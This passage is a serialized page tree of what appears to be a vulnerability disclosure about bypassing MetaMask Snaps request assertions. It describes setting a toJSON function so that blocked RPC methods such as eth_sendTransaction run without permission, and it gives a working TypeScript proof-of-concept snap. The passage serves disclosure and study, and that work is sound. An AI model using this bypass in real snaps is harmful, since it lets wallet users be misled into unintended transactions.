coerce",{"type":23,"tag":41,"props":39120,"children":39121},{"style":70},[39122],{"type":28,"value":1737},{"type":23,"tag":41,"props":39124,"children":39125},{"style":858},[39126],{"type":28,"value":39127},"UnsafeJsonStruct",{"type":23,"tag":41,"props":39129,"children":39130},{"style":70},[39131],{"type":28,"value":970},{"type":23,"tag":41,"props":39133,"children":39134},{"style":114},[39135],{"type":28,"value":16701},{"type":23,"tag":41,"props":39137,"children":39138},{"style":70},[39139],{"type":28,"value":39140},"(), (",{"type":23,"tag":41,"props":39142,"children":39143},{"style":858},[39144],{"type":28,"value":1652},{"type":23,"tag":41,"props":39146,"children":39147},{"style":70},[39148],{"type":28,"value":866},{"type":23,"tag":41,"props":39150,"children":39151},{"style":64},[39152],{"type":28,"value":14813},{"type":23,"tag":41,"props":39154,"children":39155},{"style":70},[39156],{"type":28,"value":102},{"type":23,"tag":41,"props":39158,"children":39159},{"class":43,"line":54},[39160,39164,39168,39172,39176,39180],{"type":23,"tag":41,"props":39161,"children":39162},{"style":114},[39163],{"type":28,"value":38553},{"type":23,"tag":41,"props":39165,"children":39166},{"style":70},[39167],{"type":28,"value":1737},{"type":23,"tag":41,"props":39169,"children":39170},{"style":858},[39171],{"type":28,"value":1652},{"type":23,"tag":41,"props":39173,"children":39174},{"style":70},[39175],{"type":28,"value":970},{"type":23,"tag":41,"props":39177,"children":39178},{"style":858},[39179],{"type":28,"value":39127},{"type":23,"tag":41,"props":39181,"children":39182},{"style":70},[39183],{"type":28,"value":3825},{"type":23,"tag":41,"props":39185,"children":39186},{"class":43,"line":76},[39187,39192,39196,39200,39205],{"type":23,"tag":41,"props":39188,"children":39189},{"style":58},[39190],{"type":28,"value":39191},"  return",{"type":23,"tag":41,"props":39193,"children":39194},{"style":858},[39195],{"type":28,"value":37523},{"type":23,"tag":41,"props":39197,"children":39198},{"style":70},[39199],{"type":28,"value":706},{"type":23,"tag":41,"props":39201,"children":39202},{"style":114},[39203],{"type":28,"value":39204},"parse",{"type":23,"tag":41,"props":39206,"children":39207},{"style":70},[39208],{"type":28,"value":3461},{"type":23,"tag":41,"props":39210,"children":39211},{"class":43,"line":85},[39212,39217,39221,39226,39230,39234,39238,39243,39247,39252,39256,39260],{"type":23,"tag":41,"props":39213,"children":39214},{"style":858},[39215],{"type":28,"value":39216},"    JSON",{"type":23,"tag":41,"props":39218,"children":39219},{"style":70},[39220],{"type":28,"value":706},{"type":23,"tag":41,"props":39222,"children":39223},{"style":114},[39224],{"type":28,"value":39225},"stringify",{"type":23,"tag":41,"props":39227,"children":39228},{"style":70},[39229],{"type":28,"value":1737},{"type":23,"tag":41,"props":39231,"children":39232},{"style":858},[39233],{"type":28,"value":1652},{"type":23,"tag":41,"props":39235,"children":39236},{"style":70},[39237],{"type":28,"value":8816},{"type":23,"tag":41,"props":39239,"children":39240},{"style":858},[39241],{"type":28,"value":39242},"propKey",{"type":23,"tag":41,"props":39244,"children":39245},{"style":70},[39246],{"type":28,"value":970},{"type":23,"tag":41,"props":39248,"children":39249},{"style":858},[39250],{"type":28,"value":39251},"propValue",{"type":23,"tag":41,"props":39253,"children":39254},{"style":70},[39255],{"type":28,"value":866},{"type":23,"tag":41,"props":39257,"children":39258},{"style":64},[39259],{"type":28,"value":14813},{"type":23,"tag":41,"props":39261,"children":39262},{"style":70},[39263],{"type":28,"value":102},{"type":23,"tag":41,"props":39265,"children":39266},{"class":43,"line":105},[39267],{"type":23,"tag":41,"props":39268,"children":39269},{"style":48},[39270],{"type":28,"value":39271},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":41,"props":39273,"children":39274},{"class":43,"line":155},[39275,39280,39284,39288,39292,39297,39301,39306,39310,39315],{"type":23,"tag":41,"props":39276,"children":39277},{"style":58},[39278],{"type":28,"value":39279},"      if",{"type":23,"tag":41,"props":39281,"children":39282},{"style":70},[39283],{"type":28,"value":142},{"type":23,"tag":41,"props":39285,"children":39286},{"style":858},[39287],{"type":28,"value":39242},{"type":23,"tag":41,"props":39289,"children":39290},{"style":170},[39291],{"type":28,"value":31416},{"type":23,"tag":41,"props":39293,"children":39294},{"style":735},[39295],{"type":28,"value":39296}," '__proto__'",{"type":23,"tag":41,"props":39298,"children":39299},{"style":170},[39300],{"type":28,"value":23695},{"type":23,"tag":41,"props":39302,"children":39303},{"style":858},[39304],{"type":28,"value":39305}," propKey",{"type":23,"tag":41,"props":39307,"children":39308},{"style":170},[39309],{"type":28,"value":31416},{"type":23,"tag":41,"props":39311,"children":39312},{"style":735},[39313],{"type":28,"value":39314}," 'constructor'",{"type":23,"tag":41,"props":39316,"children":39317},{"style":70},[39318],{"type":28,"value":152},{"type":23,"tag":41,"props":39320,"children":39321},{"class":43,"line":186},[39322,39326,39331],{"type":23,"tag":41,"props":39323,"children":39324},{"style":58},[39325],{"type":28,"value":161},{"type":23,"tag":41,"props":39327,"children":39328},{"style":64},[39329],{"type":28,"value":39330}," undefined",{"type":23,"tag":41,"props":39332,"children":39333},{"style":70},[39334],{"type":28,"value":183},{"type":23,"tag":41,"props":39336,"children":39337},{"class":43,"line":195},[39338],{"type":23,"tag":41,"props":39339,"children":39340},{"style":70},[39341],{"type":28,"value":12659},{"type":23,"tag":41,"props":39343,"children":39344},{"class":43,"line":905},[39345,39349,39354],{"type":23,"tag":41,"props":39346,"children":39347},{"style":58},[39348],{"type":28,"value":1985},{"type":23,"tag":41,"props":39350,"children":39351},{"style":858},[39352],{"type":28,"value":39353}," propValue",{"type":23,"tag":41,"props":39355,"children":39356},{"style":70},[39357],{"type":28,"value":183},{"type":23,"tag":41,"props":39359,"children":39360},{"class":43,"line":922},[39361],{"type":23,"tag":41,"props":39362,"children":39363},{"style":70},[39364],{"type":28,"value":38538},{"type":23,"tag":41,"props":39366,"children":39367},{"class":43,"line":930},[39368],{"type":23,"tag":41,"props":39369,"children":39370},{"style":70},[39371],{"type":28,"value":38405},{"type":23,"tag":41,"props":39373,"children":39374},{"class":43,"line":939},[39375],{"type":23,"tag":41,"props":39376,"children":39377},{"style":70},[39378],{"type":28,"value":35332},{"type":23,"tag":24,"props":39380,"children":39381},{},[39382,39384,39390,39392,39397,39399,39405,39407,39413],{"type":28,"value":39383},"The function performs a ",{"type":23,"tag":37,"props":39385,"children":39387},{"className":39386},[],[39388],{"type":28,"value":39389},"JSON.parse(JSON.stringify(value))",{"type":28,"value":39391}," in the argument sent to ",{"type":23,"tag":37,"props":39393,"children":39395},{"className":39394},[],[39396],{"type":28,"value":39069},{"type":28,"value":39398},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":37,"props":39400,"children":39402},{"className":39401},[],[39403],{"type":28,"value":39404},"toJSON",{"type":28,"value":39406}," function in a legit ",{"type":23,"tag":37,"props":39408,"children":39410},{"className":39409},[],[39411],{"type":28,"value":39412},"snap.request",{"type":28,"value":39414}," argument:",{"type":23,"tag":5436,"props":39416,"children":39417},{},[39418,39423,39428],{"type":23,"tag":421,"props":39419,"children":39420},{},[39421],{"type":28,"value":39422},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":421,"props":39424,"children":39425},{},[39426],{"type":28,"value":39427},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":421,"props":39429,"children":39430},{},[39431],{"type":28,"value":39432},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":24,"props":39434,"children":39435},{},[39436],{"type":28,"value":39437},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":5436,"props":39439,"children":39440},{},[39441,39446],{"type":23,"tag":421,"props":39442,"children":39443},{},[39444],{"type":28,"value":39445},"forward blocked RPC methods",{"type":23,"tag":421,"props":39447,"children":39448},{},[39449,39451,39456,39458,39464,39466,39471],{"type":28,"value":39450},"Making requests in ",{"type":23,"tag":37,"props":39452,"children":39454},{"className":39453},[],[39455],{"type":28,"value":39412},{"type":28,"value":39457}," that were only supposed to be done within ",{"type":23,"tag":37,"props":39459,"children":39461},{"className":39460},[],[39462],{"type":28,"value":39463},"ethereum.request",{"type":28,"value":39465}," (with ",{"type":23,"tag":37,"props":39467,"children":39469},{"className":39468},[],[39470],{"type":28,"value":38642},{"type":28,"value":39472}," enabled).",{"type":23,"tag":24,"props":39474,"children":39475},{},[39476],{"type":28,"value":39477},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":546,"props":39479,"children":39480},{"id":5662},[39481],{"type":28,"value":5665},{"type":23,"tag":24,"props":39483,"children":39484},{},[39485],{"type":28,"value":39486},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":24,"props":39488,"children":39489},{},[39490],{"type":23,"tag":3918,"props":39491,"children":39493},{"alt":7,"src":39492},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":546,"props":39495,"children":39497},{"id":39496},"proof-of-concept",[39498],{"type":28,"value":34823},{"type":23,"tag":24,"props":39500,"children":39501},{},[39502,39504,39509,39511,39516,39518,39524],{"type":28,"value":39503},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":37,"props":39505,"children":39507},{"className":39506},[],[39508],{"type":28,"value":38642},{"type":28,"value":39510}," permission, and used the ",{"type":23,"tag":37,"props":39512,"children":39514},{"className":39513},[],[39515],{"type":28,"value":38172},{"type":28,"value":39517}," interface to call ",{"type":23,"tag":37,"props":39519,"children":39521},{"className":39520},[],[39522],{"type":28,"value":39523},"eth_sendTransaction",{"type":28,"value":39525},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":31,"props":39527,"children":39529},{"className":35608,"code":39528,"language":35610,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[39530],{"type":23,"tag":37,"props":39531,"children":39532},{"__ignoreMap":7},[39533,39566,39573,39580,39597,39626,39633,39658,39665,39697,39708,39725,39738,39745,39752,39759,39791,39798,39805,39812,39828,39855,39862,39885,39892,39923,39934,39950,39962,39983,39998,40015,40023,40030,40037,40044,40075,40082,40089,40149,40156,40184,40201,40216,40232,40247,40259,40289,40296],{"type":23,"tag":41,"props":39534,"children":39535},{"class":43,"line":44},[39536,39540,39544,39549,39553,39557,39562],{"type":23,"tag":41,"props":39537,"children":39538},{"style":58},[39539],{"type":28,"value":19471},{"type":23,"tag":41,"props":39541,"children":39542},{"style":70},[39543],{"type":28,"value":9584},{"type":23,"tag":41,"props":39545,"children":39546},{"style":858},[39547],{"type":28,"value":39548},"OnRpcRequestHandler",{"type":23,"tag":41,"props":39550,"children":39551},{"style":70},[39552],{"type":28,"value":36197},{"type":23,"tag":41,"props":39554,"children":39555},{"style":58},[39556],{"type":28,"value":19461},{"type":23,"tag":41,"props":39558,"children":39559},{"style":735},[39560],{"type":28,"value":39561}," '@metamask/snaps-types'",{"type":23,"tag":41,"props":39563,"children":39564},{"style":70},[39565],{"type":28,"value":183},{"type":23,"tag":41,"props":39567,"children":39568},{"class":43,"line":54},[39569],{"type":23,"tag":41,"props":39570,"children":39571},{"emptyLinePlaceholder":18},[39572],{"type":28,"value":82},{"type":23,"tag":41,"props":39574,"children":39575},{"class":43,"line":76},[39576],{"type":23,"tag":41,"props":39577,"children":39578},{"emptyLinePlaceholder":18},[39579],{"type":28,"value":82},{"type":23,"tag":41,"props":39581,"children":39582},{"class":43,"line":85},[39583,39587,39592],{"type":23,"tag":41,"props":39584,"children":39585},{"style":64},[39586],{"type":28,"value":31371},{"type":23,"tag":41,"props":39588,"children":39589},{"style":114},[39590],{"type":28,"value":39591}," jsonExploit",{"type":23,"tag":41,"props":39593,"children":39594},{"style":70},[39595],{"type":28,"value":39596},"(){\n",{"type":23,"tag":41,"props":39598,"children":39599},{"class":43,"line":105},[39600,39604,39608,39612,39617,39621],{"type":23,"tag":41,"props":39601,"children":39602},{"style":64},[39603],{"type":28,"value":7855},{"type":23,"tag":41,"props":39605,"children":39606},{"style":858},[39607],{"type":28,"value":19052},{"type":23,"tag":41,"props":39609,"children":39610},{"style":170},[39611],{"type":28,"value":3017},{"type":23,"tag":41,"props":39613,"children":39614},{"style":70},[39615],{"type":28,"value":39616}," [] ",{"type":23,"tag":41,"props":39618,"children":39619},{"style":58},[39620],{"type":28,"value":8838},{"type":23,"tag":41,"props":39622,"children":39623},{"style":94},[39624],{"type":28,"value":39625}," any\n",{"type":23,"tag":41,"props":39627,"children":39628},{"class":43,"line":155},[39629],{"type":23,"tag":41,"props":39630,"children":39631},{"emptyLinePlaceholder":18},[39632],{"type":28,"value":82},{"type":23,"tag":41,"props":39634,"children":39635},{"class":43,"line":186},[39636,39641,39645,39649,39653],{"type":23,"tag":41,"props":39637,"children":39638},{"style":858},[39639],{"type":28,"value":39640},"  x",{"type":23,"tag":41,"props":39642,"children":39643},{"style":70},[39644],{"type":28,"value":706},{"type":23,"tag":41,"props":39646,"children":39647},{"style":858},[39648],{"type":28,"value":38306},{"type":23,"tag":41,"props":39650,"children":39651},{"style":170},[39652],{"type":28,"value":3017},{"type":23,"tag":41,"props":39654,"children":39655},{"style":735},[39656],{"type":28,"value":39657}," \"snap_dialog\"\n",{"type":23,"tag":41,"props":39659,"children":39660},{"class":43,"line":195},[39661],{"type":23,"tag":41,"props":39662,"children":39663},{"emptyLinePlaceholder":18},[39664],{"type":28,"value":82},{"type":23,"tag":41,"props":39666,"children":39667},{"class":43,"line":905},[39668,39672,39676,39680,39684,39689,39693],{"type":23,"tag":41,"props":39669,"children":39670},{"style":858},[39671],{"type":28,"value":39640},{"type":23,"tag":41,"props":39673,"children":39674},{"style":70},[39675],{"type":28,"value":706},{"type":23,"tag":41,"props":39677,"children":39678},{"style":114},[39679],{"type":28,"value":39404},{"type":23,"tag":41,"props":39681,"children":39682},{"style":170},[39683],{"type":28,"value":3017},{"type":23,"tag":41,"props":39685,"children":39686},{"style":70},[39687],{"type":28,"value":39688}," () ",{"type":23,"tag":41,"props":39690,"children":39691},{"style":64},[39692],{"type":28,"value":14813},{"type":23,"tag":41,"props":39694,"children":39695},{"style":70},[39696],{"type":28,"value":102},{"type":23,"tag":41,"props":39698,"children":39699},{"class":43,"line":922},[39700,39704],{"type":23,"tag":41,"props":39701,"children":39702},{"style":58},[39703],{"type":28,"value":1090},{"type":23,"tag":41,"props":39705,"children":39706},{"style":70},[39707],{"type":28,"value":102},{"type":23,"tag":41,"props":39709,"children":39710},{"class":43,"line":930},[39711,39716,39721],{"type":23,"tag":41,"props":39712,"children":39713},{"style":858},[39714],{"type":28,"value":39715},"      method:",{"type":23,"tag":41,"props":39717,"children":39718},{"style":735},[39719],{"type":28,"value":39720}," \"eth_requestAccounts\"",{"type":23,"tag":41,"props":39722,"children":39723},{"style":70},[39724],{"type":28,"value":3506},{"type":23,"tag":41,"props":39726,"children":39727},{"class":43,"line":939},[39728,39733],{"type":23,"tag":41,"props":39729,"children":39730},{"style":858},[39731],{"type":28,"value":39732},"      params:",{"type":23,"tag":41,"props":39734,"children":39735},{"style":70},[39736],{"type":28,"value":39737}," []\n",{"type":23,"tag":41,"props":39739,"children":39740},{"class":43,"line":947},[39741],{"type":23,"tag":41,"props":39742,"children":39743},{"style":70},[39744],{"type":28,"value":192},{"type":23,"tag":41,"props":39746,"children":39747},{"class":43,"line":985},[39748],{"type":23,"tag":41,"props":39749,"children":39750},{"style":70},[39751],{"type":28,"value":5872},{"type":23,"tag":41,"props":39753,"children":39754},{"class":43,"line":1058},[39755],{"type":23,"tag":41,"props":39756,"children":39757},{"emptyLinePlaceholder":18},[39758],{"type":28,"value":82},{"type":23,"tag":41,"props":39760,"children":39761},{"class":43,"line":1084},[39762,39766,39771,39775,39779,39783,39787],{"type":23,"tag":41,"props":39763,"children":39764},{"style":58},[39765],{"type":28,"value":39191},{"type":23,"tag":41,"props":39767,"children":39768},{"style":858},[39769],{"type":28,"value":39770}," snap",{"type":23,"tag":41,"props":39772,"children":39773},{"style":70},[39774],{"type":28,"value":706},{"type":23,"tag":41,"props":39776,"children":39777},{"style":114},[39778],{"type":28,"value":31487},{"type":23,"tag":41,"props":39780,"children":39781},{"style":70},[39782],{"type":28,"value":1737},{"type":23,"tag":41,"props":39784,"children":39785},{"style":858},[39786],{"type":28,"value":19263},{"type":23,"tag":41,"props":39788,"children":39789},{"style":70},[39790],{"type":28,"value":1969},{"type":23,"tag":41,"props":39792,"children":39793},{"class":43,"line":1102},[39794],{"type":23,"tag":41,"props":39795,"children":39796},{"emptyLinePlaceholder":18},[39797],{"type":28,"value":82},{"type":23,"tag":41,"props":39799,"children":39800},{"class":43,"line":1110},[39801],{"type":23,"tag":41,"props":39802,"children":39803},{"style":70},[39804],{"type":28,"value":201},{"type":23,"tag":41,"props":39806,"children":39807},{"class":43,"line":1118},[39808],{"type":23,"tag":41,"props":39809,"children":39810},{"emptyLinePlaceholder":18},[39811],{"type":28,"value":82},{"type":23,"tag":41,"props":39813,"children":39814},{"class":43,"line":1137},[39815,39819,39824],{"type":23,"tag":41,"props":39816,"children":39817},{"style":64},[39818],{"type":28,"value":31371},{"type":23,"tag":41,"props":39820,"children":39821},{"style":114},[39822],{"type":28,"value":39823}," transactionExploit",{"type":23,"tag":41,"props":39825,"children":39826},{"style":70},[39827],{"type":28,"value":39596},{"type":23,"tag":41,"props":39829,"children":39830},{"class":43,"line":1163},[39831,39835,39839,39843,39847,39851],{"type":23,"tag":41,"props":39832,"children":39833},{"style":64},[39834],{"type":28,"value":7855},{"type":23,"tag":41,"props":39836,"children":39837},{"style":858},[39838],{"type":28,"value":19052},{"type":23,"tag":41,"props":39840,"children":39841},{"style":170},[39842],{"type":28,"value":3017},{"type":23,"tag":41,"props":39844,"children":39845},{"style":70},[39846],{"type":28,"value":39616},{"type":23,"tag":41,"props":39848,"children":39849},{"style":58},[39850],{"type":28,"value":8838},{"type":23,"tag":41,"props":39852,"children":39853},{"style":94},[39854],{"type":28,"value":39625},{"type":23,"tag":41,"props":39856,"children":39857},{"class":43,"line":1188},[39858],{"type":23,"tag":41,"props":39859,"children":39860},{"emptyLinePlaceholder":18},[39861],{"type":28,"value":82},{"type":23,"tag":41,"props":39863,"children":39864},{"class":43,"line":1979},[39865,39869,39873,39877,39881],{"type":23,"tag":41,"props":39866,"children":39867},{"style":858},[39868],{"type":28,"value":39640},{"type":23,"tag":41,"props":39870,"children":39871},{"style":70},[39872],{"type":28,"value":706},{"type":23,"tag":41,"props":39874,"children":39875},{"style":858},[39876],{"type":28,"value":38306},{"type":23,"tag":41,"props":39878,"children":39879},{"style":170},[39880],{"type":28,"value":3017},{"type":23,"tag":41,"props":39882,"children":39883},{"style":735},[39884],{"type":28,"value":39657},{"type":23,"tag":41,"props":39886,"children":39887},{"class":43,"line":2002},[39888],{"type":23,"tag":41,"props":39889,"children":39890},{"emptyLinePlaceholder":18},[39891],{"type":28,"value":82},{"type":23,"tag":41,"props":39893,"children":39894},{"class":43,"line":3835},[39895,39899,39903,39907,39911,39915,39919],{"type":23,"tag":41,"props":39896,"children":39897},{"style":858},[39898],{"type":28,"value":39640},{"type":23,"tag":41,"props":39900,"children":39901},{"style":70},[39902],{"type":28,"value":706},{"type":23,"tag":41,"props":39904,"children":39905},{"style":114},[39906],{"type":28,"value":39404},{"type":23,"tag":41,"props":39908,"children":39909},{"style":170},[39910],{"type":28,"value":3017},{"type":23,"tag":41,"props":39912,"children":39913},{"style":70},[39914],{"type":28,"value":39688},{"type":23,"tag":41,"props":39916,"children":39917},{"style":64},[39918],{"type":28,"value":14813},{"type":23,"tag":41,"props":39920,"children":39921},{"style":70},[39922],{"type":28,"value":102},{"type":23,"tag":41,"props":39924,"children":39925},{"class":43,"line":3895},[39926,39930],{"type":23,"tag":41,"props":39927,"children":39928},{"style":58},[39929],{"type":28,"value":1090},{"type":23,"tag":41,"props":39931,"children":39932},{"style":70},[39933],{"type":28,"value":102},{"type":23,"tag":41,"props":39935,"children":39936},{"class":43,"line":9044},[39937,39941,39946],{"type":23,"tag":41,"props":39938,"children":39939},{"style":858},[39940],{"type":28,"value":39715},{"type":23,"tag":41,"props":39942,"children":39943},{"style":735},[39944],{"type":28,"value":39945}," \"eth_sendTransaction\"",{"type":23,"tag":41,"props":39947,"children":39948},{"style":70},[39949],{"type":28,"value":3506},{"type":23,"tag":41,"props":39951,"children":39952},{"class":43,"line":9061},[39953,39957],{"type":23,"tag":41,"props":39954,"children":39955},{"style":858},[39956],{"type":28,"value":39732},{"type":23,"tag":41,"props":39958,"children":39959},{"style":70},[39960],{"type":28,"value":39961}," [{\n",{"type":23,"tag":41,"props":39963,"children":39964},{"class":43,"line":9106},[39965,39969,39974,39978],{"type":23,"tag":41,"props":39966,"children":39967},{"style":858},[39968],{"type":28,"value":32059},{"type":23,"tag":41,"props":39970,"children":39971},{"style":735},[39972],{"type":28,"value":39973}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":41,"props":39975,"children":39976},{"style":70},[39977],{"type":28,"value":970},{"type":23,"tag":41,"props":39979,"children":39980},{"style":48},[39981],{"type":28,"value":39982},"// change this to your address\n",{"type":23,"tag":41,"props":39984,"children":39985},{"class":43,"line":9212},[39986,39990,39994],{"type":23,"tag":41,"props":39987,"children":39988},{"style":858},[39989],{"type":28,"value":32075},{"type":23,"tag":41,"props":39991,"children":39992},{"style":735},[39993],{"type":28,"value":39973},{"type":23,"tag":41,"props":39995,"children":39996},{"style":70},[39997],{"type":28,"value":3506},{"type":23,"tag":41,"props":39999,"children":40000},{"class":43,"line":23496},[40001,40006,40011],{"type":23,"tag":41,"props":40002,"children":40003},{"style":858},[40004],{"type":28,"value":40005},"        value:",{"type":23,"tag":41,"props":40007,"children":40008},{"style":735},[40009],{"type":28,"value":40010}," \"0x1\"",{"type":23,"tag":41,"props":40012,"children":40013},{"style":70},[40014],{"type":28,"value":3506},{"type":23,"tag":41,"props":40016,"children":40017},{"class":43,"line":23531},[40018],{"type":23,"tag":41,"props":40019,"children":40020},{"style":70},[40021],{"type":28,"value":40022},"      }]\n",{"type":23,"tag":41,"props":40024,"children":40025},{"class":43,"line":23539},[40026],{"type":23,"tag":41,"props":40027,"children":40028},{"style":70},[40029],{"type":28,"value":192},{"type":23,"tag":41,"props":40031,"children":40032},{"class":43,"line":23547},[40033],{"type":23,"tag":41,"props":40034,"children":40035},{"style":70},[40036],{"type":28,"value":5872},{"type":23,"tag":41,"props":40038,"children":40039},{"class":43,"line":23556},[40040],{"type":23,"tag":41,"props":40041,"children":40042},{"emptyLinePlaceholder":18},[40043],{"type":28,"value":82},{"type":23,"tag":41,"props":40045,"children":40046},{"class":43,"line":23598},[40047,40051,40055,40059,40063,40067,40071],{"type":23,"tag":41,"props":40048,"children":40049},{"style":58},[40050],{"type":28,"value":39191},{"type":23,"tag":41,"props":40052,"children":40053},{"style":858},[40054],{"type":28,"value":39770},{"type":23,"tag":41,"props":40056,"children":40057},{"style":70},[40058],{"type":28,"value":706},{"type":23,"tag":41,"props":40060,"children":40061},{"style":114},[40062],{"type":28,"value":31487},{"type":23,"tag":41,"props":40064,"children":40065},{"style":70},[40066],{"type":28,"value":1737},{"type":23,"tag":41,"props":40068,"children":40069},{"style":858},[40070],{"type":28,"value":19263},{"type":23,"tag":41,"props":40072,"children":40073},{"style":70},[40074],{"type":28,"value":3825},{"type":23,"tag":41,"props":40076,"children":40077},{"class":43,"line":23631},[40078],{"type":23,"tag":41,"props":40079,"children":40080},{"style":70},[40081],{"type":28,"value":201},{"type":23,"tag":41,"props":40083,"children":40084},{"class":43,"line":23639},[40085],{"type":23,"tag":41,"props":40086,"children":40087},{"emptyLinePlaceholder":18},[40088],{"type":28,"value":82},{"type":23,"tag":41,"props":40090,"children":40091},{"class":43,"line":23647},[40092,40096,40100,40105,40109,40114,40118,40123,40128,40132,40136,40141,40145],{"type":23,"tag":41,"props":40093,"children":40094},{"style":58},[40095],{"type":28,"value":38203},{"type":23,"tag":41,"props":40097,"children":40098},{"style":64},[40099],{"type":28,"value":39104},{"type":23,"tag":41,"props":40101,"children":40102},{"style":114},[40103],{"type":28,"value":40104}," onRpcRequest",{"type":23,"tag":41,"props":40106,"children":40107},{"style":170},[40108],{"type":28,"value":1474},{"type":23,"tag":41,"props":40110,"children":40111},{"style":94},[40112],{"type":28,"value":40113}," OnRpcRequestHandler",{"type":23,"tag":41,"props":40115,"children":40116},{"style":170},[40117],{"type":28,"value":3017},{"type":23,"tag":41,"props":40119,"children":40120},{"style":70},[40121],{"type":28,"value":40122}," ({ ",{"type":23,"tag":41,"props":40124,"children":40125},{"style":858},[40126],{"type":28,"value":40127},"origin",{"type":23,"tag":41,"props":40129,"children":40130},{"style":70},[40131],{"type":28,"value":970},{"type":23,"tag":41,"props":40133,"children":40134},{"style":858},[40135],{"type":28,"value":31487},{"type":23,"tag":41,"props":40137,"children":40138},{"style":70},[40139],{"type":28,"value":40140}," }) ",{"type":23,"tag":41,"props":40142,"children":40143},{"style":64},[40144],{"type":28,"value":14813},{"type":23,"tag":41,"props":40146,"children":40147},{"style":70},[40148],{"type":28,"value":102},{"type":23,"tag":41,"props":40150,"children":40151},{"class":43,"line":23656},[40152],{"type":23,"tag":41,"props":40153,"children":40154},{"emptyLinePlaceholder":18},[40155],{"type":28,"value":82},{"type":23,"tag":41,"props":40157,"children":40158},{"class":43,"line":23732},[40159,40164,40168,40172,40176,40180],{"type":23,"tag":41,"props":40160,"children":40161},{"style":58},[40162],{"type":28,"value":40163},"  switch",{"type":23,"tag":41,"props":40165,"children":40166},{"style":70},[40167],{"type":28,"value":142},{"type":23,"tag":41,"props":40169,"children":40170},{"style":858},[40171],{"type":28,"value":31487},{"type":23,"tag":41,"props":40173,"children":40174},{"style":70},[40175],{"type":28,"value":706},{"type":23,"tag":41,"props":40177,"children":40178},{"style":858},[40179],{"type":28,"value":38306},{"type":23,"tag":41,"props":40181,"children":40182},{"style":70},[40183],{"type":28,"value":152},{"type":23,"tag":41,"props":40185,"children":40186},{"class":43,"line":23765},[40187,40192,40197],{"type":23,"tag":41,"props":40188,"children":40189},{"style":58},[40190],{"type":28,"value":40191},"    case",{"type":23,"tag":41,"props":40193,"children":40194},{"style":735},[40195],{"type":28,"value":40196}," 'json'",{"type":23,"tag":41,"props":40198,"children":40199},{"style":70},[40200],{"type":28,"value":5568},{"type":23,"tag":41,"props":40202,"children":40203},{"class":43,"line":23773},[40204,40208,40212],{"type":23,"tag":41,"props":40205,"children":40206},{"style":58},[40207],{"type":28,"value":1985},{"type":23,"tag":41,"props":40209,"children":40210},{"style":114},[40211],{"type":28,"value":39591},{"type":23,"tag":41,"props":40213,"children":40214},{"style":70},[40215],{"type":28,"value":3669},{"type":23,"tag":41,"props":40217,"children":40218},{"class":43,"line":23781},[40219,40223,40228],{"type":23,"tag":41,"props":40220,"children":40221},{"style":58},[40222],{"type":28,"value":40191},{"type":23,"tag":41,"props":40224,"children":40225},{"style":735},[40226],{"type":28,"value":40227}," 'transaction'",{"type":23,"tag":41,"props":40229,"children":40230},{"style":70},[40231],{"type":28,"value":5568},{"type":23,"tag":41,"props":40233,"children":40234},{"class":43,"line":23818},[40235,40239,40243],{"type":23,"tag":41,"props":40236,"children":40237},{"style":58},[40238],{"type":28,"value":1985},{"type":23,"tag":41,"props":40240,"children":40241},{"style":114},[40242],{"type":28,"value":39823},{"type":23,"tag":41,"props":40244,"children":40245},{"style":70},[40246],{"type":28,"value":3669},{"type":23,"tag":41,"props":40248,"children":40249},{"class":43,"line":23831},[40250,40255],{"type":23,"tag":41,"props":40251,"children":40252},{"style":58},[40253],{"type":28,"value":40254},"    default",{"type":23,"tag":41,"props":40256,"children":40257},{"style":70},[40258],{"type":28,"value":5568},{"type":23,"tag":41,"props":40260,"children":40261},{"class":43,"line":23844},[40262,40267,40271,40276,40280,40285],{"type":23,"tag":41,"props":40263,"children":40264},{"style":58},[40265],{"type":28,"value":40266},"      throw",{"type":23,"tag":41,"props":40268,"children":40269},{"style":64},[40270],{"type":28,"value":31927},{"type":23,"tag":41,"props":40272,"children":40273},{"style":114},[40274],{"type":28,"value":40275}," Error",{"type":23,"tag":41,"props":40277,"children":40278},{"style":70},[40279],{"type":28,"value":1737},{"type":23,"tag":41,"props":40281,"children":40282},{"style":735},[40283],{"type":28,"value":40284},"'Method not 